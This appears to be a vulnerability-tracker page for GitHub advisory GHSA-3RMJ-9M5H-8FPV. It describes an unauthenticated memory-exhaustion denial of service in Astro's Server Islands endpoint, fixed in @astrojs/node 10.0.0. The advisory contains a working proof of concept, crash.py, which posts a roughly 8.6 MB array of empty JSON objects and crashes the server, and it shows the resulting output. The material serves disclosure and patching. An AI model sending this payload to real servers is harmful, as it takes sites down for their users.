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Advisory · GitHub · npm · @astrojs/node

GHSA-3RMJ-9M5H-8FPV

Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands

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CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -14 d de la divulgación
Exposición240 dDesde la divulgación, 24 mar 2026, 2:29 p. m.
Detección237 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 10.0.0
Monitoreo
Detectada
10 mar 26
24 mar 26
30 mar 26
17 nov 26
19 nov 26
10 mar 26
13 may 26
15 jul 26
17 sept 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 10.0.0 @astrojs/node · -14 d desde divulgación
Divulgación Publicada GHSA-3RMJ-9M5H-8FPV divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because `JSON.parse()` allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The `/_server-islands/[name]` route is registered on all Astro SSR apps regardless of whether any component uses `server:defer`, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.

Details

Astro automatically registers a Server Islands route at `/_server-islands/[name]` on all SSR apps, regardless of whether any component uses `server:defer`. The POST handler in `packages/astro/src/core/server-islands/endpoint.ts` buffers the entire request body into memory and parses it as JSON with no size or depth limit:

// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text();    // full body buffered into memory — no size limit
const data = JSON.parse(raw);        // parsed into V8 object graph — no element count limit

The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — `/_server-islands/anything` triggers the vulnerable code path. No authentication is required.

Additionally, `JSON.parse()` allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., `[{},{},{},...]`) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.

PoC

Environment: Astro 5.18.0, `@astrojs/node` 9.5.4, Node.js 22 with `--max-old-space-size=128`.

The app does not use `server:defer` — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.

Setup files:

`package.json`:

{
  "name": "poc-server-islands-dos",
  "scripts": {
    "build": "astro build",
    "start": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.18.0",
    "@astrojs/node": "9.5.4"
  }
}

`astro.config.mjs`:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

`src/pages/index.astro`:

---
---
<html>
<head><title>Astro App</title></head>
<body>
  <h1>Hello</h1>
  <p>Just a plain SSR page. No server islands.</p>
</body>
</html>

`Dockerfile`:

FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]

`docker-compose.yml`:

services:
  astro:
    build: .
    ports:
      - "4321:4321"
    deploy:
      resources:
        limits:
          memory: 256m

Reproduction:

# Build and start
docker compose up -d

# Verify server is running
curl http://localhost:4321/
# => 200 OK

`crash.py`:

import requests

# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"

# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")

try:
    r = requests.post(TARGET, data=payload,
        headers={"Content-Type": "application/json"}, timeout=30)
    print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Server crashed (OOM killed)")
$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)

$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused

$ docker compose ps
NAME      IMAGE     COMMAND   SERVICE   CREATED   STATUS    PORTS
(empty — container was OOM killed)

The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.

Impact

Any Astro SSR app with the Node standalone adapter is affected — the `/_server-islands/[name]` route is registered by default regardless of whether any component uses `server:defer`. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the `[name]` parameter works because the body is parsed before the name is validated.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
@astrojs/node< 10.0.0
10.0.0
11.1.13
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm@astrojs/node
Corregida 10.0.0 -14 d 11.1.13 no afectada
Versiones corregidas10.0.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-29772
Otrahttps://github.com/withastro/astro/security/advisories/GHSA-3rmj-9m5h-8fpv
Otrahttps://github.com/withastro/astro/commit/f9ee8685dd26e9afeba3b48d41ad6714f624b12f
Otrahttps://github.com/withastro/astro
Otrahttps://github.com/withastro/astro/releases/tag/@astrojs/node@10.0.0

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